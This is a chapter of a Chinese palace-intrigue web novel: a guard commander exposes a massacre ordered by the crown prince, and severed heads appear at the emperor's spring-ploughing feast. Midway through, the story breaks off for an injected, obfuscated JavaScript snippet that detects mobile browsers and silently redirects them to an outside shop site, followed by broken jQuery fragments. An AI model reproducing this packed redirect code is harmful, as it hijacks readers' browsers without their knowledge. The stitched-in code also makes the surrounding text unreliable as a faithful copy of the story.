皇城东门，天启大殿前。


    两队兵马执戈相向。身着玄黑重甲的，是禁军，身披金色铜甲的，是皇城守备军。


    只不过，皇城守备军的铜甲上满是暗红血迹，如刚沐完一场血雨，周身都是凶厉杀意。


    “凌统领，为何拦我皇城守备军归营？”


    皇城守备军四大总兵之一的秦勇，骑一匹黄镶龙驹，巍然立于阵前。他的长刀尚未收鞘，横于身侧，未干的血迹顺着银刃砸落在地。


    凌召脖颈处有一道深长的疤痕，自右耳根处直至咽喉，看上去骇人可怖。他的声音也因这道疤变得粗砺喑哑。


    “秦勇私自率军屠戮泗水园，罪不容诛。”凌召面无表情，声音如同负重拖行在砂石路面，“禁军领圣命，捉拿逆贼。”


    秦勇闻言，不惧反笑：“凌统领，圣上与皇后娘娘今日不是去皇庄祈祝春耕了吗？你不去护驾，反倒跑来为难我一个当差办事的，是何道理？”


    凌召道：“领何人的差？办的什么事？”


    秦勇装模作样叹了口气：“这本是皇城守备军军机要密，不该对你们禁军说。不过凌统领既领了圣命前来，我也不好叫你空手而归。”


    他自怀中取出一封密诏，示于人前。


    “皇城守备军总兵秦勇，奉太子密令，铲除泗水园触怒天颜的恶徒！”


    秦勇高声念出密诏，对凌召道：“军令如山，我奉旨行事，禁军想抓我，得先问问太子殿下同不同意！”


    一名禁军士兵将密诏递到凌召面前，凌召细细查看。


    密诏盖有东宫敕印，形制规范，的确是太子密令。


    凌召垂下眼帘，遮去眸中微不可查的一点异色。


    “你说触怒天颜，”他问秦勇：“今日泗水园中皆是新科才子与千金贵女，他们所犯何事？”


    秦勇冷笑：“凌统领莫不是忘了，太子妃是在何处失踪？”


    凌召眉峰蹙起。


    “泗水园是太子殿下的伤心地，那些人却在泗水园赏花吃酒，逍遥快活。”秦勇一字一句道，“如此罪大恶极，不该杀吗？”


    “铮！”


    长剑出鞘，凌召剑尖遥指秦勇。


    “这就是东宫想出来的借口？”


    秦勇面色沉了下来：“凌统领，我是东宫麾下，皇城守备军总兵，听令行事，理所应当。就算你再得圣宠，手也伸不到东宫！”


    凌召抬眸打量着有恃无恐的秦勇。


    “秦勇，你好像搞错了一件事。”他哑声说，“皇城守备军，也是圣上的兵。太子，也是圣上的臣。”


    他剑尖轻点，缓缓吐出两个字：“拿下。”


    嘶鸣阵阵，刀兵相接，两队人马很快冲杀在一起。


    皇城守备军只带了一支小队，禁军人多势众，甚至不需要凌召出手，秦勇等人已经全部生擒。


    秦勇胳膊被扭到了身后，他痛呼几声，随即又朝凌召嬉皮笑脸。


    “凌统领，凌大人，这必定是有什么误会。太子殿下下令，必然有他的道理，我等奉命行事，何罪之有啊。”


    凌召不理他，吩咐手下将人先关进禁军大牢。


    秦勇见他要走，忙将人叫住：“等等！凌统领可不能就这么甩手不管，不如凌统领替我传个信给太子殿下，叫他向圣上解释两句，如此便可……”


    “秦勇。”凌召突然打断他的胡言乱语，“你方才没有全力抵抗，为何？”


    秦勇一顿，随即笑道：“都说了是一场误会，何况凌统领平日里护佑圣上如此辛苦，我们皇城守备军自当配合。”


    护佑圣上。


    凌召脑中一时明朗，心中却是一沉。


    “你们是故意等在这的。”凌召叹息一声。


    秦勇笑容更盛，正待说话，却听“噗呲”一声。


    凌召的长剑刺穿了一名皇城守备军士兵的胸膛。那人来不及发出惊叫，满面茫然地倒了下去。


    秦勇笑容僵在了脸上。


    “泗水园如此大事，定会传到圣上耳朵里。”


    噗呲——噗呲——


    连续两剑。两名士兵相继倒地。


    “今日是一年一度的春耕大典，圣上与皇后娘娘不能离席，定会叫禁军来查明情况。”


    凌召一边说，手中长剑不停。只一会儿工夫，地上歪七竖八躺满了皇城守备军的尸体。


    秦勇脸上已经彻底没有了笑容，他并没有出声阻止，只是冷眼看着凌召。


    凌召踱步到他面前，血水沿剑尖滴落一路。


    “好一出调虎离山。”他哑声说，“秦勇，告诉我，东宫到底想干什么？”


    *


    泰顺皇庄。


    今日是庆祝春耕告捷的喜庆日子，一年一度的春耕大典。


    皇帝和皇后亲临皇庄，广邀各地官员、农户，赏春祈祝，以迎丰年。


    延帝与淑皇后拜完春神，携众人入席开宴。


    为示与民偕乐，春耕大典的宴席都是设在户外，沐浴着春光与麦苗香气用膳。


    麦田边以茅草搭了长棚，下面摆了长桌，桌上已经摆满了新鲜菜食。


    今日延帝兴致格外高，哪怕听闻泗水园发生惨案，他也只是交给凌召去处理，并没有影响到春耕大典。


    “皇庄新鲜采摘的时蔬，果真清甜可口。”延帝夹了一筷子时蔬，夸赞道。


    皇庄主事忙起身谢恩，只是一个谢字刚到嘴边，嘴里却滴进了什么东西。主事下意识抿了抿，咸咸的，还有点腥。


    “这棚子怎么漏水？”身后传来官员的低声抱怨。


    主事回头一看，只见那官员正拿手抹去滴到脑门上的液体。


    他没抹干净，硕大的脑门上留下一道长长红印。


    主事的眼神逐渐泛出惊恐，他伸出一根手指往自己舌头上一摸，拿到眼前定睛一瞧。


    “血……有血！”


    指尖沾着可疑的红色，主事再也没能忍住，高声惊叫。


    埋头用膳的众人也逐渐反应过来，长棚中霎时炸了锅。


    “在上头！棚子顶上在滴血！”有人高呼。


    众人纷纷抬头，只见茅草铺就的长棚顶，有十来处都在往下渗出血水。鲜红的液体有些滴到菜食里，有些滴到人们身上。


    延帝盯着手中竹箸上的一滴鲜血，面色阴沉。


    “啪！”


    竹箸被重重拍在桌上。


    这动静在眼下的纷闹中不算太大，但躁动的人群刹那间仿佛被浇灭，顿时安静下来。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13396472|141197||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “去看看棚顶有什么。”延帝语气冰冷。


    几名禁军护卫领命而去，没过一会儿便回来了。同时带回的，还有——


    “禀告圣上，是、是十八颗人头。”


    席下传来一片倒抽气的声音，众人惊惶不定，望向护卫带进来的东西。


    血淋淋的十八颗人头在地上滚作一团，与周围的田园春景格格不入。


    “何人如此放肆，竟在圣驾面前行凶。”淑皇后的声音因惊吓而紧绷。


    她已年过四十，深居后宫，平日里素喜吃斋念佛，只有这种场合才会陪延帝出来。乍一见此番光景，吓得脸色煞白。


    “看来是有人不想让春耕大典顺利进行。”延帝只扫了一眼，就不再看那堆血肉模糊的人头。


    春耕大典，天降血光，此乃大不祥。


    他问护卫：“凌召可回来了？”


    “禀告圣上，凌统领还不曾回来。”


    延帝心下莫名不安：“派人把他叫回来，还有……”


    “萍儿，这是我的萍儿啊！”


    突然一声悲鸣，打断了延帝的话语。


    他彻底冷下脸来，手中捏着一只酒杯，就要砸向那个不敬天子的家伙，却听悲鸣声竟越来越多。


    “这、这是阿恒吗？阿恒，我的阿恒怎么变成这样了！”


    “文昌，谁害了你？你告诉爹爹！是谁害你？”


    官员们纷纷围聚到人头四周，又惊又急地翻找着一张张血肉模糊的脸。没找到熟悉的脸，自是松了口气，找到熟悉的脸，则又是另一番光景。


    很快，十八颗人头都被认领完毕。全是在场官员的家中子女。


    “圣上！我儿刚考中进士，今日该是在泗水园赏花踏春，怎会死在这里！”


    “是啊，我家女儿也该在泗水园，怎会尸首分离！究竟是何人狠毒至此，请圣上给我们一个交代！”


    “请圣上给我们一个交代！”


    “请圣上给我们一个交代！”


    声声悲泣，字字啼血。官员们怀中抱着一颗颗冰凉的人头，麻木地往地上一下一下磕着头，乞求当今圣上告诉他们一个答案。


    一人不敬天子，当罚。一群人不敬天子，为民怨，当抚之。


    延帝面色阴沉得快要滴出水来，出口却是端出帝王威仪。


    “他们不仅仅是诸位爱卿的子女，亦是朕的子民。此事朕定当彻查到底，给诸位爱卿一个交代！”


    “父皇英明！”


    零星掌声响起，一道金色蟒袍的身影步入长棚。


    “是太子殿下。”


    “太子殿下怎么来了？”


    一旁的人群中响起低低议论。


    太子李恕愚向延帝和淑皇后恭敬一礼：“儿臣愿为父皇分忧，给诸位大人一个交代。”


    淑皇后看着来人，身体突然微微颤抖起来，她张了张嘴，似乎想说什么，却被延帝一个眼神制止。


    延帝自上而下俯视着李恕愚：“哦？太子想如何？”


    李恕愚道：“自然是将凶手交给诸位大人处置。”


    “太子殿下知道谁是凶手？”一位官员怀中抱着儿子的头颅，急切问道。


    “知道，”李恕愚微微一笑，“就是我啊。”